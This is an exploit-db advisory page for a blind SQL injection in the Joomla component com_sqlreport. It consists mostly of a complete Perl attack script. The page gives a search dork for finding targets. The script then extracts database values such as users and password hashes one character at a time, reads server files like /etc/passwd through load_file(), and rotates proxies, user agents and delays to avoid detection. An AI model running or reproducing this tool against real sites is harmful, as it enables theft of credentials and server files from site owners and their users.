Joomla! Component user_id com_sqlreport – Blind SQL Injection

  • 作者: snakespc
    日期: 2010-02-23
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/11549/
  • ==============================================================================
    [»]Joomla Component user_id com_sqlreport Blind SQL Injection Vulnerability
    ==============================================================================
    
    [»] Script: [Joomla]
    [»] Language: [ PHP ]
    [»] Founder:[ Snakespc Email:super_cristal@hotmail.com - Site:sec-war.com/cc> ]
    [»] Greetz to:[ sec-warTeaM, PrEdAtOr ,alnjm33 >>> All My Mamber >> sec-war.com/cc ]
    [»] Dork:inurl:"com_sqlreport" 
    [»] 
    ###########################################################################
     ===[ Exploit ]===POC Blind Joomla (user_id) com_sqlreport >>>>Note::Placés dans un dossier C:\Perl\bin\snakespc.pl
    ###########################################################################
    #!/usr/bin/perl
    use LWP::UserAgent;
    
    use Getopt::Long;
    
    use IO::Handle;
    
    use strict;
    
    $| = 1;
    
    
    
    
    ###############################################################################
    
    my $default_debug = 0;
    
    my $default_length = 32;
    
    my $default_method = "GET";
    
    my $default_time = 0;
    
    my $version = "1.1";
    
    my $default_useragent = "bsqlbf $version";
    
    my $default_dict = "dict.txt";
    
    my $default_sql = "version()";
    
    ###############################################################################
    
    
    
    $| = 1;
    
    
    my ($args, $abc, $solution);
    
    my ($string, $char, @dic);
    
    my (%vars, @varsb);
    
    my ($lastvar, $lastval);
    
    my ($scheme, $authority, $path, $query, $fragment);
    
    my $hits = 0;
    
    my $usedict = 0; 
    my $amatch = 0;
    
    my ($ua,$req);
    
    
    ###############################################################################
    # 
    #Define GetOpt:
    
    my ($url, $sql, $time, $rtime, $match, $uagent, $charset, $debug);
    
    my ($proxy, $proxy_user, $proxy_pass,$rproxy, $ruagent);
    
    my ($dict, $start, $length, $method, $cookie,$blind);
    
    my ($help, $bincharset, $get, $nodict);
    
    
    my $options = GetOptions (
    
    'help!'=> \$help,
    
    'url=s'=> \$url,
     
    'get=s'=> \$get,
    
    'sql=s'=> \$sql,
    
    'blind=s'=> \$blind,
    
    'match=s'=> \$match,
    
    'charset=s'=> \$charset,
    
    'start=s'=> \$start,
    
    'length=s' => \$length,
    
    'dict=s' => \$dict,
    
    'method=s'	 => \$method,
    
    'uagent=s'	 => \$uagent,
    
    'ruagent=s'	 => \$ruagent,
    
    'cookie=s'	 => \$cookie,
    
    'proxy=s'=> \$proxy,
    
    'proxy_user=s' => \$proxy_user,
    
    'proxy_pass=s' => \$proxy_pass,
    
    'rproxy=s' => \$rproxy,
    
    'debug!' => \$debug,
     
    'rtime=s'=> \$rtime,
     
    'time=i' => \$time );
    
    
    &help unless ($url);
    
    &help if $help eq 1;
    
    
    #########################################################################
    
    # Default Options.
    
    $abc= charset();
    
    $uagent ||= $default_useragent;
    
    $debug||= $default_debug;
    
    $length ||= $default_length;
    
    $solution ||= $start;
    
    $method ||= $default_method;
    
    $sql||= $default_sql;
    
    $time ||= $default_time;
    
    
    
    &createlwp();
    
    &parseurl();
    
    
    if ( ! defined($blind)) {
    
    		$lastvar = $varsb[$#varsb];
    
    		$lastval = $vars{$lastvar};
    
    } else {
    
    		$lastvar = $blind;
    
    		$lastval = $vars{$blind};
    
    }
    
    
    
    if (defined($cookie)) { &cookie() }
    
    
    
    if (!$match) {
    
    	print "\nTrying to find a match string...\n" if $debug == 1;
    
    	$amatch = "1";
    
    	&auto_match();
    
    }
    
    
    
    &banner();
    
    &httpintro();
    
    
    
    
    
    if ( ! $get) { &sqlget() } else { &fileget() }
    
    
    
    
    sub fileget {
    
    #ord(MID(compress(load_file(0xfilename)),1,1))
    
    	$get =~ m,.*/(.*),;
    
    	my $lget = $1;
    
    	my $rsize = $start + 1;
    
    	if (-e "$lget" && ! $start) {
     
    		$rsize = -s "$lget";
    
    		print "Error: file ./$lget exists.\n";
     
    		print "You can erase or resume it with: -start $rsize\n";
    
    		exit 1
    
    	}
    
    	my ($fstr,$i);
    
    	my $fsize = "";
    
     	$fstr = unpack("H*","$get");
     	# GET size of file.
    
    	$abc = "0123456789";
    
    	for ($i=1;$i<=15;$i++) {
    
    		my $furl;
    
    		my $find = 0;
    
    		foreach (split/ */,$abc) {
    
    			$find = 0;
     
    			$char = ord();
    
    			$string = " and mid(length(load_file(0x$fstr)),$i,1)=char($char)";
    
    			if (lc($method) eq "post") {
    
    				$vars{$lastvar} = $lastval . $string;
    
    			}
    
    			$furl = $url;
    
    			$furl =~ s/($lastvar=$lastval)/$1$string/;
    
    			&createlwp if $rproxy || $ruagent;
    
    			my $html=fetch("$furl");
    
    			$hits++;
    
    			foreach (split(/\n/,$html)) {
    
     				if (/\Q$match\E/) {
     
    				my $asc=chr($char);
    
    				$fsize .= $asc;
    
    				$find = 1;
    
    				 }
    
    				last if $find == 1;
    
     	 		}
    
    			last if $find == 1;
    
    		}
    
    		last if $find == 0;
    
    	}
    
    	if ($fsize < "1") { print "Error: file not found, no permissions or ... who knows\n"; exit 1 }
    
    	# starting ..
    
    	$length = "$fsize bytes";
    
    	$abc = "getfile [256]";
    
    	$sql = "load_file($get)";
    
    
    	&bsqlintro();
    
    	# Get file
    
    	open FILE, ">>$lget";
    
    	FILE->autoflush(1);
    
    	print "\n--- BEGIN ---\n";
    
    	my ($i,$b,$fcontent);
    
    	$rsize = 1 if $rsize < 1;
    
    	for ($i=$rsize;$i<=$fsize+1;$i++) {
    
    		my $find = 0;
    
    		my ($furl, $b_start, $b_end, $z);
    
    		for ($z=0;$z<272;$z+=16) {
    
    			my $zz = $z + 16;
    
    	$string = " and ord(mid(load_file(0x$fstr),$i,1))>=$z and ord(mid(load_file(0x$fstr),$i,1))<=$zz";
    
    			if (lc($method) eq "post") {
    
    				$vars{$lastvar} = $lastval . $string;
    
    			}
    
    			$furl = $url;
    
    			$furl =~ s/($lastvar=$lastval)/$1$string/;
    
    			&createlwp if $rproxy || $ruagent;
    
    			my $html=fetch("$furl");
    
    			$hits++;
    
    			foreach (split(/\n/,$html)) {
    
     				if (/\Q$match\E/) {
     
    					$b_start = $z;
    
    					$b_end = $z + 16;
    
    					$find = 1;
    
    				}
    
    				last if $find == 1;
    
     			}
    
    			last if $find == 1;
    
    		}
    		print "$fcontent";
    	
    		for ($b=$b_start;$b<=$b_end;$b++) {
    
    			$find = 0;
     
    			$string = " and mid(load_file(0x$fstr),$i,1)=char($b)";
    
    			if (lc($method) eq "post") {
    
    				$vars{$lastvar} = $lastval . $string;
    
    			}
    
    			$furl = $url;
    
    			$furl =~ s/($lastvar=$lastval)/$1$string/;
    
    			&createlwp if $rproxy || $ruagent;
    
    			my $html=fetch("$furl");
    
    			$hits++;
    
    			foreach (split(/\n/,$html)) {
    
     				if (/\Q$match\E/) {
     
    				$fcontent = pack("C*","$b");
    
    			 	print FILE "$fcontent";
    
    				$find = 1;
    
    				 }
    
    				last if $find == 1;
    
     	 		}
    
    			last if $find == 1;
    
    		}
    
     	}
    
    	print "\n--- END ---\n";
    
    close FILE;
    
    	$solution = "success";
    
    }
    
    
    
    
    sub sqlget {
    
    	&bsqlintro();
    
    	$dict ||= $default_dict;
    
    	open DICT,"$dict";@dic=<DICT>; close DICT;
    
    	my $i;
    
    	$nodict = 0;
    
    	for ($i=length($start)+1;$i<=$length;$i++) {
    
    		my $furl;
    
    		my $find = 0;
    
    		$abc = charset();
    
    		&bsqlintro if $debug == 1;
    
     		print "\r trying: $solution ";
    
    		foreach (split/ */,$abc) {
    
    			$find = 0;
     
    			$char = ord();
    
    			$string = " AND MID($sql,$i,1)=CHAR($char)";
    
    			if (lc($method) eq "post") {
    
    				 $vars{$lastvar} = $lastval . $string;
    
    				}
    
    			print "\x08$_";
    
    			$furl = $url;
    
    			$furl =~ s/($lastvar=$lastval)/$1$string/;
    
    			&createlwp if $rproxy || $ruagent;
    
    			my $html=fetch("$furl");
    
    			$hits++;
    
    			foreach (split(/\n/,$html)) {
    
     				if (/\Q$match\E/) {
     
    				my $asc=chr($char);
    
    				$solution .= $asc;
    
    				$find = 1;
    
    				 }
    
    				last if $find == 1;
    
     	 		}
    
    			last if $find == 1;
    
    		}
    
    		if ($usedict ne 0 && $find eq 0) { $nodict=1; $i--; }
    
    		if ($find eq "0" && $usedict eq "0") { last; };
    
    	}
    
    }
    
    
    
    &result();
    
    
    
    #########################################################################
    
    sub httpintro {
    
    	my ($strcookie, $strproxy, $struagent, $strtime, $i);
    
    	print "--[ http options ]"; print "-"x62; print "\n";
    
    	printf ("%12s %-8s %11s %-20s\n","schema:",$scheme,"host:",$authority);
    
    	if ($ruagent) { $struagent="rnd.file:$ruagent" } else { $struagent = $uagent }
    
    	printf ("%12s %-8s %11s %-20s\n","method:",uc($method),"useragent:",$struagent);
    
    	printf ("%12s %-50s\n","path:", $path);
    
    	foreach (keys %vars) {
    
    		$i++;
    
    		printf ("%12s %-15s = %-40s\n","arg[$i]:",$_,$vars{$_});
    
    	}
    
    	if (! $cookie) { $strcookie="(null)" } else { $strcookie = $cookie; }
    
    	printf ("%12s %-50s\n","cookies:",$strcookie);
    
    	if (! $proxy && !$rproxy) { $strproxy="(null)" } else { $strproxy = $proxy; }
    
    	if ($rproxy) { $strproxy = "rnd.file:$rproxy" }
    
    	printf ("%12s %-50s\n","proxy_host:",$strproxy);
    
    	if (! $proxy_user) { $strproxy="(null)" } else { $strproxy = $proxy_user; }
    
     	# timing
    
    	if (! $time && !$rtime) { $strtime="0sec (default)" }
     
    	if ( $time == 0) { $strtime="0 sec (default)" }
     
    	if ( $time == 1) { $strtime="15 secs" }
     
    	if ( $time == 2) { $strtime="5 mins" }
     
    	if ($rtime) { $strtime = "rnd.time:$rtime" }
    
    	printf ("%12s %-50s\n","time:",$strtime);
    
    }
    
    
    sub bsqlintro {
    
    	my ($strstart, $strblind, $strlen, $strmatch, $strsql);
    
    	print "\n--[ blind sql injection options ]"; print "-"x47; print "\n";
    
    	if (! $start) { $strstart = "(null)"; } else { $strstart = $start; }
    
    	if (! $blind) { $strblind = "(last) $lastvar"; } else { $strblind = $blind; }
    
    	printf ("%12s %-15s %11s %-20s\n","blind:",$strblind,"start:",$strstart);
    
    	if ($length eq $default_length) { $strlen = "$length (default)" } else { $strlen = $length; }
    
    	if ($sql eq $default_sql) { $strsql = "$sql (default)"; } else { $strsql = $sql; }
    
    	printf ("%12s %-15s %11s %-20s\n","length:",$strlen,"sql:",$strsql);
    
    	printf ("%12s %-50s\n","charset:",$abc);
    
    	if ($amatch eq 1) { $strmatch = "auto match:" } else { $strmatch = "match:"; }
    
    	#printf ("%12s %-60s\n","$strmatch",$match);
    
    	print " $strmatch $match\n";
    
    	print "-"x80; print "\n\n";
    
    }
    
    
    
    #########################################################################
    
    
    
    sub createlwp {
    
    	my $proxyc;
    	&getproxy;
    
    	&getuagent if $ruagent;
    
    	LWP::Debug::level('+') if $debug gt 3;
    
    	$ua = new LWP::UserAgent(
    
    cookie_jar=> { file => "$$.cookie" });
     
    	$ua->agent("$uagent");
    
    	if (defined($proxy_user) && defined($proxy_pass)) {
    
    		my ($pscheme, $pauthority, $ppath, $pquery, $pfragment) =
    
    		$proxy =~ m|^(?:([^:/?#]+):)?(?://([^/?#]*))?([^?#]*)(?:\?([^#]*))?(?:#(.*))?|;
     
    		$proxyc = $pscheme."://".$proxy_user.":".$proxy_pass."@".$pauthority;
    
    	} else { $proxyc = $proxy; }
    
    	
    $ua->proxy(['http'] => $proxyc) if $proxy;
    
    	undef $proxy if $rproxy;
    
    	undef $uagent if $ruagent;
    
    }
    
    
    
    sub cookie {
    
    	# Cookies check
    
    	if ($cookie || $cookie =~ /; /) {
    
    		foreach my $c (split /;/, $cookie) {
    
    			my ($a,$b) = split /=/, $c;
    
    			if ( ! $a || ! $b ) { die "Wrong cookie value. Use -h for help\n"; }
    
    		}
    
    	}
    
    }
    
    
    sub parseurl {
    
    ###############################################################################
    
    # Official Regexp to parse URI. Thank you somebody.
    
    	($scheme, $authority, $path, $query, $fragment) =
    
    		$url =~ m|^(?:([^:/?#]+):)?(?://([^/?#]*))?([^?#]*)(?:\?([^#]*))?(?:#(.*))?|;
     
    	# Parse args of URI into %vars and @varsb.
    
    	foreach my $varval (split /&/, $query) {
    
    		my ($var, $val) = split /=/, $varval;
    
    		$vars{$var} = $val;
    
    		push(@varsb, $var);
    
    	}
    
    }
    
    
    
    # Define CHARSET to use. Dictionary /// (TODO: fix ugly code)
    
    sub charset {
    
    	if ($hits ne 0 && $nodict eq 0) {
    
    		my (%tmp,@b,$foo); undef %tmp; undef @b; undef $abc;
    
    		foreach my $line (@dic) {
    
    			chomp $line;
     
    	 		if ($line =~ /\Q$solution\E/ && $line !~ /^#/) {
    
    				$foo = $line; $foo =~ s/\Q$solution\E//;
    
    		 		foreach ((split/ */,$foo)) {
    
    					if ($tmp{$_} ne "1" ) {
    
    						$tmp{$_} = "1"; push (@b,$_);
    
    					}
    
    		 		}
    
    			}
    
    		}
    
     		 if ($#b >= 0) {
    
    			foreach my $c (@b) { $abc .=$c;}
    
    			$usedict = $abc;
    
    			print "\nUsing a dictionary with this charset: $abc\n" if $debug == 1;
    
    		 } else {
    
    			$abc = chardefault()
    
    		 }
    
    	} else {
    
    		$abc = chardefault()
    
    	}
    
    	return $abc;
    
    }
    
    
    sub chardefault {
    
    	my $tmp;
    
    	$abc = $charset;
    
    	if (lc($charset) eq "md5") {
    
    		$abc = "abcdef0123456789\$.";
    
    	} elsif (lc($charset) eq "num") {
    
    		$abc = "0123456789";
    
    	} elsif (lc($charset) eq "all" || ! $charset) {
    
     		$abc = "abcdefghijklmnopqrstuvwxyz0123456789\$.:-_()[]{}º@=/\\|#?¿&·!<>ñÑ";
    
    	}
    	# If a dictionary has been used before, remove chars from current charset
    
    	if ($usedict ne 0) {
    
    		foreach (split(/ */, $usedict)) {
    
    			$abc =~ s/$_//;
    
    		}
    
    	}
    
    	$usedict = 0;
    
    	return $abc;
    }
    
    
    sub auto_match {
    
    	$match = fmatch("$url");
    
    }
    
    
    
    
    
    #########################################################################
    
    # Show options at running:
    
    sub banner {
    
    	print "\n //com_sqlreport Blind SQL injection brute force.\n";
    
    	print " // super_cristal\@hotmail.com / http://www.sec-war.com\n\n";
    
    
    }
    
    
    
    
    
    #########################################################################
    
    # Get differences in HTML
    
    sub fmatch {
    
     my ($ok,$rtrn);
    
     my ($furla, $furlb) = ($_[0], $_[0]);
    
     my ($html_a, $html_b);
    
     if (lc($method) eq "get") {
    
    	$furla =~ s/($lastvar=$lastval)/$1 AND 1=1/;
    
    	$furlb =~ s/($lastvar=$lastval)/$1 AND 1=0/;
    
     	$html_a = fetch("$furla");
    
    	$html_b = fetch("$furlb");
    
     } elsif (lc($method) eq "post") {
    
     $vars{$lastvar} = $lastval . " AND 1=1";
    
     $html_a = fetch("$furla");
    
     $vars{$lastvar} = $lastval . " AND 1=0";
    
     $html_b = fetch("$furla");
    
     $vars{$lastvar} = $lastval;
    
     }
    
     my @h_a = split(/\n/,$html_a);
    
     my @h_b = split(/\n/,$html_b);
    
     foreach my $a (@h_a) {
    
    	$ok = 0;
    
    	if ($a =~ /\w/) {
    
     		foreach (@h_b) {
    
    		if ($a eq $_) {$ok = 1; }
    
    		}
    
    	} else { $ok = 1; }
    
     $rtrn = $a;
    
     last if $ok ne 1;
    
     }
    
     return $rtrn;
    
    }
    
    
    
    
    
    #########################################################################
    
    # Fetch HTML from WWW
    
    sub fetch {
    
    	my $secs;
    
    	if ($time == 0) { $secs = 0 }
    
    	elsif ($time == 1) { $secs = 15 }
    
    	elsif ($time == 2) { $secs = 300 }
    
    	if ($rtime =~ /\d*-\d*/ && $time == 0) {
    
    		my ($l,$p) = $rtime =~ m/(\d+-\d+)/;
    
    		srand; $secs = int(rand($p-$l+1))+$l;
    
    	} elsif ($rtime =~ /\d*-\d*/ && $time != 0) {
    
    		print "You can't run with -time and -rtime. See -help.\n";
    
    		exit 1;
    
    	}
    
    	sleep $secs;
    
    
    	
    	my $res;
    
    	if (lc($method) eq "get") {
    
    		my $fetch = $_[0];
    
    		if ($cookie) {
    
    			$res = $ua->get("$fetch", Cookie => "$cookie");
    
    		} elsif (!$cookie) {
    
    			$res = $ua->get("$fetch");
    
    		}
    
    	} elsif (lc($method) eq "post") {
    
    		my($s, $a, $p, $q, $f) =
    
    	$url=~m|^(?:([^:/?#]+):)?(?://([^/?#]*))?([^?#]*)(?:\?([^#]*))?(?:#(.*))?|;
     
    		my $fetch = "$s://$a".$p;
    
    		if ($cookie) {
    
    		$res = $ua->post("$fetch",\%vars, Cookie => "$cookie");
    
    		} elsif (!$cookie) {
    
    		$res = $ua->post("$fetch",\%vars);
    
    		}
    
    	} else {
    
    	die "Wrong httpd method. Use -h for help\n";
    
    	}
    
    	my $html = $res->content();
    
    	return $html;
    
    }
    
    
    
    
    
    sub getproxy {
    
    	if ($rproxy && $proxy !~ /http/) {
    
    		my @lproxy;
    
    		open PROXY, $rproxy or die "Can't open file: $rproxy\n";
    
    		while(<PROXY>) { push(@lproxy,$_) if ! /^#/ }
    
    		close PROXY;
    
    		srand; my $ind = rand @lproxy;
    
    		$proxy = $lproxy[$ind];
    
    	} elsif ($rproxy && $proxy =~ /http/){
    
    		print "You can't run with -proxy and -rproxy. See -help.\n";
    
    		exit 1;
    
    	}
    
    }
    
    
    
    sub getuagent {
    	my @uproxy;
    
    	open UAGENT, $ruagent or die "Can't open file: $ruagent\n";
    
    		while(<UAGENT>) { push(@uproxy,$_) if ! /^#/ }
    
    		close UAGENT;
    
    		srand; my $ind = rand @uproxy;
    
    		$uagent = $uproxy[$ind];
    
    		chop($uagent);
    
    }
    
    
    sub result {
    
    	print "\r results:\n" .
    
    	 " $sql = $solution\n" if length($solution) > 0;
     
    	print " total hits: $hits\n";
    
    }
    
    
    
    sub help {
    
    	&banner();
    
    	print " usage: $0 <-url http://www.host.com/path/script.php?foo=bar> [options]\n";
    
    	print "\n options:\n";
    
    	print " -sql:\t\tvalid SQL syntax to get; connection_id(), database(),\n";
    
    	print "\t\tsystem_user(), session_user(), current_user(), last_insert_id(),\n";
     
    	print "\t\tuser() or all data available in the requested query, for\n";
    
    	print "\t\texample: user.password. Default: version()\n";
    
    	print " -blind:\tparameter to inject sql. Default is last value of url\n";
    
    	print " -match:\tstring to match in valid query, Default is try to get auto\n";
    
    	print " -charset:\tcharset to use. Default is all. Others charsets supported:\n";
    
    	print " \tall:\tabcdefghijklmnopqrstuvwxyz0123456789\$.-_()[]{}º@=/\\|#?¿&·!<>ñÑ\n";
    
    	print " \tnum:\t0123456789\n";
    	print " \tmd5:\tabcdef0123456789\$\n";
    
    	print " \tcustom:\tyour custom charset, for example: \"abc0123\"\n";
    
    	print " -start:\tif you know the beginning of the string, use it.\n";
    
    	print " -length:\tmaximum length of value. Default is $default_length.\n";
    
    	print " -dict:\t\tuse dictionary for improve speed. Default is dict.txt\n";
    
    	print " -time:\t\ttimer options:\n";
    
    	print " \t0:\tdont wait. Default option.\n";
    
    	print " \t1:\twait 15 seconds\n";
    
    	print " \t2:\twait 5 minutes\n";
    
    	print " -rtime:\twait random seconds, for example: \"10-20\".\n";
    
    	print " -method:\thttp method to use; get or post. Default is $default_method.\n";
    
    	print " -uagent:\thttp UserAgent header to use. Default is $default_useragent\n";
    
    	print " -ruagent:\tfile with random http UserAgent header to use.\n";
    
    	print " -cookie:\thttp cookie header to use\n";
    
    	print " -rproxy:\tuse random http proxy from file list.\n";
    
    	print " -proxy:\tuse proxy http. Syntax: -proxy=http://proxy:port/\n";
    
    	print " -proxy_user:\tproxy http user\n";
    
    	print " -proxy_pass:\tproxy http password\n";
    
    print "\n examples:\n bash# $0 -url http://www.somehost.com/blah.php?u=5 -blind u -sql \"user()\"\n";
    
    print " bash# $0 -url http://www.buggy.com/bug.php?r=514&p=3 -get \"/etc/passwd\"\n";
    
    exit(1);
    
    }